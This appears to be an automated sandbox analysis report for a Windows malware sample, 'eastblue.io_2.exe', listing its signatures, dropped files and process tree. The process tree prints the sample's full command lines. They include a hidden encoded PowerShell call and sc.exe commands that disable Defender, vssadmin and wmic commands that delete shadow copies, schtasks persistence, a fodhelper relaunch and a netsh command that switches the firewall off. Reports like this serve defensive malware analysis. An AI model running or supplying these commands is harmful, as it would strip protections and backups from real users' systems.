Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/05/2026, 15:07

General

  • Target
    eastblue.io_2.exe
  • Size 51KB
  • Sample260505-shpdaaev8m
  • SHA256 70bc1e131736193abff2edb141234160aa6ba421f3fe7844f53395cd6ecc1b2a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • EICAR Anti-Malware test file 1 IoCs
  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
    "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1352
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1648
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3352
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4320
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4676
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4208
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1800
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3428
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1052
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
        "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"
        3⤵
          PID:3836
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:6028
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4452
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5156
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:5556
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4092
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5264
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:5476
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5252
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5560
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5268
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5588
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5276
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5576
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:5716
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1184
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5568
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:5428
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1504
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:5320
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:5364
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:5860
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5908
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5976
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4480
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:6060
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:6080
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:6120
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a1b055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:1892
              • C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
                C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
                1⤵
                  PID:3280
                • C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
                  C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe
                  1⤵
                    PID:2884
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5736

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 68KB
                        • SHA256 649e3d317a1cc2dafa4934fb1171091be4c2cf014fba9b53b89e6a7683822c6d
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 68KB
                        • SHA256 af76d123b6d54de46de13bff427270414dbae76b7b4fa6be6da06e09f39f0921
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        eastblue.io_2.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\eastblue.io_2.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_xqd5save.m1u.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xqd5save.m1u.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 238B
                        • SHA256 78aad70b504f73544b22d7c2a0091a2ddae30dd5c1652a9e3637e3ee407f2c81
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 239B
                        • SHA256 d1d33298c026f0e1051e90f8b92e7ef305a2d2083a51c03be83f4715c6527745
                        • MD5 SHA1 SHA512 TLSH

                        eicar_extra.com

                        • Path C:\Users\Admin\Documents\eicar_extra.com
                        • Size 68B
                        • SHA256 275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 51KB
                        • SHA256 70bc1e131736193abff2edb141234160aa6ba421f3fe7844f53395cd6ecc1b2a
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1352-2249-0x00000255E4B10000-0x00000255E4B1C000-memory.dmp

                        memory/1352-2239-0x00000255FD7E0000-0x00000255FD7EA000-memory.dmp

                        memory/1352-1340-0x00000255FD5B0000-0x00000255FD5CC000-memory.dmp

                        memory/1352-1365-0x00000255FD5D0000-0x00000255FD683000-memory.dmp

                        memory/1352-2231-0x00000255FD800000-0x00000255FD81C000-memory.dmp

                        memory/1352-2245-0x00000255FD830000-0x00000255FD83A000-memory.dmp

                        memory/1352-1977-0x00000255FD4A0000-0x00000255FD4AA000-memory.dmp

                        memory/1352-2248-0x00000255E2FE0000-0x00000255E318C000-memory.dmp

                        memory/1352-14-0x00000255FD220000-0x00000255FD242000-memory.dmp

                        memory/1352-2241-0x00000255FD840000-0x00000255FD85A000-memory.dmp

                        memory/1352-2250-0x00000255E4BB0000-0x00000255E4BC2000-memory.dmp

                        memory/1352-2243-0x00000255FD7F0000-0x00000255FD7F8000-memory.dmp

                        memory/1352-2244-0x00000255FD820000-0x00000255FD826000-memory.dmp

                        memory/1892-2296-0x0000023852280000-0x000002385232E000-memory.dmp

                        memory/2884-2254-0x000000001B730000-0x000000001BAA8000-memory.dmp

                        memory/3280-2242-0x000000001B700000-0x000000001BA78000-memory.dmp

                        memory/3836-1017-0x000000001B940000-0x000000001BCB8000-memory.dmp

                        memory/4836-2297-0x000000001BD70000-0x000000001BD80000-memory.dmp

                        memory/4836-2375-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-5-0x000000001EAF0000-0x000000001F018000-memory.dmp

                        memory/4836-2351-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2369-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-4-0x000000001E3F0000-0x000000001E5B2000-memory.dmp

                        memory/4836-2345-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-1-0x000000001BD70000-0x000000001BD80000-memory.dmp

                        memory/4836-0-0x0000000000D50000-0x0000000000D64000-memory.dmp

                        memory/4836-2320-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2295-0x000000001E1A0000-0x000000001E1B2000-memory.dmp

                        memory/4836-2294-0x0000000001690000-0x000000000169C000-memory.dmp

                        memory/4836-2293-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2339-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2333-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2327-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2302-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/4836-2314-0x000000001B920000-0x000000001BC98000-memory.dmp

                        memory/5320-2274-0x00000239044C0000-0x000002390456E000-memory.dmp

                        memory/5320-2275-0x0000023905D40000-0x0000023905D4C000-memory.dmp

                        memory/5364-2300-0x000002926BA10000-0x000002926BABE000-memory.dmp

                        memory/5364-2280-0x000002926BC40000-0x000002926BC41000-memory.dmp

                        memory/5476-2298-0x00000262FF6E0000-0x00000262FFA58000-memory.dmp

                        memory/5736-2301-0x0000018BE1400000-0x0000018BE14AE000-memory.dmp

                        memory/6028-2238-0x0000023BC9690000-0x0000023BC969C000-memory.dmp

                        memory/6028-2237-0x0000023BC7DC0000-0x0000023BC7E6E000-memory.dmp